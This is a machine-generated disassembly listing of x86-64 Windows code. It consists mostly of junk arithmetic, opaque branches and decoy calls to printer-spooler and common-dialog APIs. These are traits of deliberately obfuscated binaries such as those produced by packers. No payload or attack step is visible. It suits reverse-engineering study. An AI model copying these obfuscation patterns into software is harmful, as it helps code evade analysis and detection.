mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0xba530841cfb24b6e
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
add eax, ecx
mov byte [rsp + 0x1dd], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
shl eax, cl
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
or eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14cc]
xor eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d34]
add eax, 0x8c
mov dword [rsp + 0x4d34], eax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0xd0258f4dbdf9f2f7
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
sub eax, 0x9ec257d9
mov dword [rsp + 0x4cf0], eax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4d18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d00]
sar eax, cl
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8be8]
shl rax, 0x28
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
or eax, 0xcf6788d2
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
and eax, 0x8088e9b8
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
sar eax, cl
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
jmp 0x1400070c7
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x4d48], al
cmp byte [rsp + 0x4d48], 0xe
je 0x140007725
cmp byte [rsp + 0x4d48], 0x64
je 0x1400076b8
jmp 0x140007870
mov dword [rsp + 0x20], 0x83
lea r9, [rsp + 0x4d24]
mov r8d, 0xce
lea rdx, [rsp + 0x4d18]
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4d20], eax
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14c4]
shl eax, cl
mov word [rsp + 0x14d0], ax
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4d18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
jmp 0x140007870
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov qword [rsp + 0x8c78], rax
movabs rax, 0xff9e9ed3acc4b05
cmp qword [rsp + 0x8c78], rax
je 0x140007821
movabs rax, 0x3f6adf4c9c94b8cf
cmp qword [rsp + 0x8c78], rax
je 0x140007769
jmp 0x140007870
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
cmp eax, dword [rsp + 0x4d18]
je 0x14000781f
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x2528e50ce66e75e8
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
lea rax, [rsp + 0x27050]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x22
lea r9, [rsp + 0x8c70]
mov r8d, 0x23
mov edx, 0x36
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_GetJobA
mov dword [rsp + 0x4d20], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
add eax, 0x2eb7c16b
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
jmp 0x140007870
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d18], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1db]
and eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov edx, 0x2c
mov rcx, qword [rsp + 0x8bb0]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x4ce4], eax
movabs rax, 0x7c658f041eaa761c
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
cmp rax, qword [rcx]
je 0x140007922
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8bd0]
mov rdx, qword [rsp + 0x8c08]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1400078e5
movzx edx, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x121c]
call fcn.1401b3400
nop
jmp 0x140007922
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x121c]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
cmp eax, ecx
jge 0x140007922
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1dc], al
movzx eax, word [rsp + 0x14cc]
mov word [rsp + 0x14d4], ax
mov dword [rsp + 0x4d4c], 0xd77e
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
or eax, ecx
movzx ecx, word [rsp + 0x14cc]
movzx edx, word [rsp + 0x14d4]
xor ecx, edx
cmp eax, ecx
jne 0x1401b2f05
lea rax, [rsp + 0x4d18]
mov qword [rsp + 0x8c80], rax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
movabs rax, 0xf10d3df2b6e828f6
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov eax, dword [rsp + 0x4d44]
add eax, 0xf1
mov dword [rsp + 0x4d44], eax
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1dc], al
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c4]
sar eax, cl
mov word [rsp + 0x14c8], ax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
xor eax, 0x58db036d
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x31b10e4646ef8fb1
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8be8], rax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1db], al
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x14d0], ax
cmp dword [rsp + 0x4d44], 0x35ff
jbe 0x14000797c
cmp dword [rsp + 0x4d3c], 0x2386
jb 0x140007f44
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov eax, dword [rsp + 0x4d3c]
sub eax, 0xd7
mov dword [rsp + 0x4d3c], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4cf0]
or eax, 0xbcc829b6
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd8]
mov qword [rsp + 0x8c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14d0]
sar eax, cl
mov word [rsp + 0x14c8], ax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x121c]
xor eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c4]
and eax, ecx
mov word [rsp + 0x14c8], ax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
add eax, 0x8c269741
mov dword [rsp + 0x4cf0], eax
movabs rax, 0xa389fc2af6c2354
mov rcx, qword [rsp + 0x8be8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
add eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
sar eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
xor eax, 0x697f6258
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
shl rax, 0x2b
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov eax, dword [rsp + 0x4cf0]
sub eax, 0x3f9f4604
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
movabs rax, 0x66d15d04b1a8811d
mov rcx, qword [rsp + 0x8be8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
shl eax, 0x12
mov dword [rsp + 0x4cf0], eax
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14d0]
xor eax, ecx
mov word [rsp + 0x14c8], ax
jmp 0x140007b17
cmp dword [rsp + 0x4d40], 0x1064e
ja 0x140008104
mov eax, dword [rsp + 0x4d40]
add eax, 0xc1
mov dword [rsp + 0x4d40], eax
mov eax, dword [rsp + 0x4cf0]
shr eax, 0xe
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
or eax, ecx
mov byte [rsp + 0x1dc], al
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8bf8]
movabs rcx, 0x9c6962c0f058bfac
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
and eax, 0x79fc388b
mov dword [rsp + 0x4cf0], eax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1ce], al
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1dc]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1dd], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14c4]
sar eax, cl
mov word [rsp + 0x14d0], ax
mov eax, dword [rsp + 0x4d00]
mov rcx, qword [rsp + 0x8c58]
mov qword [rsp + 0x8c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8c90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4d18], eax
jmp 0x140007f44
mov rax, qword [rsp + 0x8c08]
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
or eax, 0x6ad65274
cmp eax, dword [rsp + 0x4cf0]
jbe 0x140008204
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4d50], eax
cmp dword [rsp + 0x4d50], 0
je 0x14000816d
cmp dword [rsp + 0x4d50], 0x67b71509
je 0x1400081e4
jmp 0x140008204
mov eax, dword [rsp + 0x4cf0]
mov dword [rsp + 0x4d54], eax
movzx eax, byte [rsp + 0x1dc]
mov byte [rsp + 0x1de], al
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x180], al
movsx eax, word [rsp + 0x14c4]
imul eax, eax, 0x4ba2
mov word [rsp + 0x14c8], ax
mov dword [rsp + 0x4d58], 0xb911
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x8ca8], rax
mov dword [rsp + 0x4d5c], 0x98c2
jmp 0x140008204
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
and eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x4d18]
mov edx, dword [rsp + 0x4d00]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140008395
lea r9, [rsp + 0x1db]
lea r8, [rsp + 0x8bf8]
lea rdx, [rsp + 0x26be0]
mov rcx, qword [rsp + 0x8cb0]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x4d20], eax
movsx eax, word [rsp + 0x14c8]
mov dword [rsp + 0x4d60], eax
cmp dword [rsp + 0x4d60], 0x5b2d
je 0x140008281
jmp 0x140008378
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d18]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c08]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x140008321
mov eax, dword [rsp + 0x4cf0]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
lea rcx, [rsp + 0x26d20]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x8cb8], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
jmp 0x140008376
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8c98]
mov rdx, qword [rsp + 0x8c08]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jg 0x140008376
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
jmp 0x140008395
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
xor eax, ecx
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x4d64], 0x1367
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x8cc0], rax
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c4]
shl eax, cl
mov word [rsp + 0x14c8], ax
movzx eax, byte [rsp + 0x180]
movzx ecx, byte [rsp + 0x1ce]
sar eax, cl
mov byte [rsp + 0x1db], al
mov eax, dword [rsp + 0x4d5c]
add eax, 0x9c
mov dword [rsp + 0x4d5c], eax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x180], al
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x1dc]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ca0]
mov rcx, qword [rsp + 0x8be8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov word [rsp + 0x121c], ax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x121c]
xor eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sar eax, cl
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4d54]
mov rcx, qword [rsp + 0x8c60]
mov qword [rsp + 0x8cc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8be8], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4cf0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14cc], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x180]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4cf0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
sar eax, cl
mov word [rsp + 0x14cc], ax
movzx eax, word [rsp + 0x121c]
